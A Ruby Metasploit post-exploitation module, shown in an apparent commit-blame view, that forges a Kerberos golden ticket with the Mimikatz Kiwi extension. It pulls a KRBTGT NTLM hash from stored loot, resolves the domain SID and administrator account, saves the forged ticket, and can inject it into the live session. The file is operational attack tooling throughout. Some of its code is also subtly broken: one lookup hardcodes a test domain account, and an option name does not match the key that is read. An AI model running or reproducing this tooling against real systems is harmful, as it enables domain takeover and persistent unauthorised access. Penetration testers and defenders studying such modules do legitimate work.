2014-12-13 15:59:06 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/post/windows/netapi'
|
|
|
|
require 'msf/core/post/windows/kiwi'
|
|
|
|
require 'msf/core/post/windows/error'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::NetAPI
|
|
|
|
include Msf::Post::Windows::Accounts
|
|
|
|
include Msf::Post::Windows::Kiwi
|
|
|
|
include Msf::Post::Windows::Error
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Escalate Golden Ticket',
|
|
|
|
'Description' => %q{
|
2014-12-13 16:06:09 +00:00
|
|
|
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
|
|
|
|
options are applied it will attempt to identify the current domain, and the domain administrator
|
|
|
|
account. By default the well-known Administrator's groups 512, 513, 518, 519, and 520 will be
|
|
|
|
applied to the ticket (Mimikatz defaults).
|
2014-12-13 15:59:06 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
|
|
|
'Ben Campbell'
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
|
|
|
|
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
|
|
|
|
]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('USE', [true, 'Use the ticket in the current session', false]),
|
|
|
|
OptString.new('USER', [false, 'Target User']),
|
|
|
|
OptString.new('DOMAIN', [false, 'Target Domain']),
|
|
|
|
OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']),
|
|
|
|
OptString.new('Domain SID', [false, 'Domain SID']),
|
|
|
|
OptInt.new('ID', [false, 'Target User ID']),
|
|
|
|
OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
return unless load_kiwi
|
|
|
|
|
|
|
|
user = datastore['USER']
|
|
|
|
domain = datastore['DOMAIN']
|
|
|
|
krbtgt_hash = datastore['KRBTGT_HASH']
|
|
|
|
domain_sid = datastore['SID']
|
|
|
|
id = datastore['ID'] || 0
|
|
|
|
|
|
|
|
groups = []
|
|
|
|
groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS']
|
|
|
|
|
|
|
|
unless domain
|
|
|
|
print_status('Searching for the domain...')
|
|
|
|
domain = get_domain
|
|
|
|
if domain
|
|
|
|
print_good("Targeting #{domain}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
unless krbtgt_hash
|
|
|
|
print_status('Searching for krbtgt hash in database...')
|
|
|
|
krbtgt_hash = lookup_krbtgt_hash(domain)
|
|
|
|
return unless krbtgt_hash
|
|
|
|
end
|
|
|
|
|
|
|
|
unless domain_sid
|
|
|
|
print_status("Obtaining #{domain} SID...")
|
|
|
|
domain_sid = lookup_domain_sid(domain)
|
|
|
|
|
|
|
|
if domain_sid
|
|
|
|
print_good("Found #{domain} SID: #{domain_sid}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
unless user
|
|
|
|
if id && id != 0
|
|
|
|
print_status("Lookup up User #{id}")
|
|
|
|
user = resolve_sid("#{domain_sid}-#{id}")[:name]
|
|
|
|
else
|
|
|
|
print_status('Looking up Domain Administrator account...')
|
|
|
|
user = resolve_sid("#{domain_sid}-500")[:name]
|
|
|
|
end
|
|
|
|
|
|
|
|
if user
|
|
|
|
print_good("Found User: #{user}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, 'Unable to find User')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
unless user && domain && domain_sid && krbtgt_hash
|
|
|
|
fail_with(Failure::Unknown, 'Not all requirements obtained')
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
|
|
|
|
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
|
|
|
|
|
|
|
|
if ticket
|
|
|
|
print_good('Golden Ticket Obtained!')
|
|
|
|
ticket_location = store_loot("golden.ticket",
|
|
|
|
"binary/kirbi",
|
|
|
|
session,
|
|
|
|
ticket,
|
|
|
|
"#{domain}\\#{user}-golden_ticket.kirbi",
|
|
|
|
"#{domain}\\#{user} Golden Ticket")
|
|
|
|
|
|
|
|
print_status("Ticket saved to #{ticket_location}")
|
|
|
|
|
|
|
|
if datastore['USE']
|
|
|
|
print_status("Attempting to use the ticket...")
|
|
|
|
client.kiwi.kerberos_ticket_use(ticket)
|
|
|
|
print_good("Kerberos ticket applied successfully")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, 'Unable to create ticket')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def lookup_domain_sid(domain)
|
|
|
|
string_sid = nil
|
|
|
|
|
|
|
|
cb_sid = 0
|
|
|
|
cch_referenced_domain_name = 0
|
|
|
|
sid_buffer = nil
|
|
|
|
referenced_domain_name_buffer = nil
|
|
|
|
|
|
|
|
# Send 0 length buffers so we get the correct buffer sizes from the out values
|
|
|
|
buffers = client.railgun.advapi32.LookupAccountNameA(
|
|
|
|
nil,
|
|
|
|
'administrator@metasploitable.local',
|
|
|
|
sid_buffer,
|
|
|
|
cb_sid,
|
|
|
|
referenced_domain_name_buffer,
|
|
|
|
cch_referenced_domain_name,
|
|
|
|
1)
|
|
|
|
|
|
|
|
if !buffers['return'] && buffers['GetLastError'] == INSUFFICIENT_BUFFER
|
|
|
|
sid_buffer = cb_sid = buffers['cbSid']
|
|
|
|
referenced_domain_name_buffer = cch_referenced_domain_name = buffers['cchReferencedDomainName']
|
|
|
|
|
|
|
|
res = client.railgun.advapi32.LookupAccountNameA(
|
|
|
|
nil,
|
|
|
|
domain,
|
|
|
|
sid_buffer,
|
|
|
|
cb_sid,
|
|
|
|
referenced_domain_name_buffer,
|
|
|
|
cch_referenced_domain_name,
|
|
|
|
1)
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
if res['return']
|
|
|
|
sub_authority_count = res['Sid'].unpack('CC')[1]
|
|
|
|
sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
|
|
|
|
|
|
|
|
string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
|
|
|
|
else
|
|
|
|
print_error("Error looking up SID: #{res['ErrorMessage']}")
|
|
|
|
end
|
|
|
|
|
|
|
|
string_sid
|
|
|
|
end
|
|
|
|
|
|
|
|
def lookup_krbtgt_hash(domain)
|
|
|
|
krbtgt_hash = nil
|
|
|
|
|
|
|
|
if framework.db.active
|
|
|
|
krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(
|
|
|
|
metasploit_credential_publics: { username: 'krbtgt' },
|
|
|
|
metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },
|
|
|
|
workspace_id: myworkspace.id)
|
|
|
|
|
|
|
|
if krbtgt_creds
|
|
|
|
|
|
|
|
if krbtgt_creds.count == 0
|
|
|
|
print_error('No KRBTGT Hashes found in database')
|
|
|
|
elsif krbtgt_creds.count > 1
|
|
|
|
|
|
|
|
# Can we reduce the list by domain...
|
|
|
|
krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
|
|
|
|
|
|
|
|
# We have found a krbtgt hashes in our target domain
|
|
|
|
if krbtgt_creds_realm.length == 1
|
|
|
|
cred = krbtgt_creds_realm.first
|
|
|
|
krbtgt_hash = cred.private.data.split(':')[1]
|
|
|
|
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
|
|
|
|
return krbtgt_hash
|
|
|
|
# We have found multiple krbtgt hashes in our target domain?!
|
|
|
|
elsif krbtgt_creds_realm.length > 0
|
|
|
|
krbtgt_creds = krbtgt_creds_realm
|
|
|
|
end
|
|
|
|
|
|
|
|
# Multiple hashes found, the user will have to manually set one...
|
|
|
|
print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
|
|
|
|
krbtgt_creds.each do |kc|
|
|
|
|
hash = kc.private.data.split(':')[1]
|
|
|
|
print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
# Highlander, there can only be one!
|
|
|
|
cred = krbtgt_creds.first
|
|
|
|
krbtgt_hash = cred.private.data.split(':')[1]
|
|
|
|
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
krbtgt_hash
|
|
|
|
end
|
|
|
|
end
|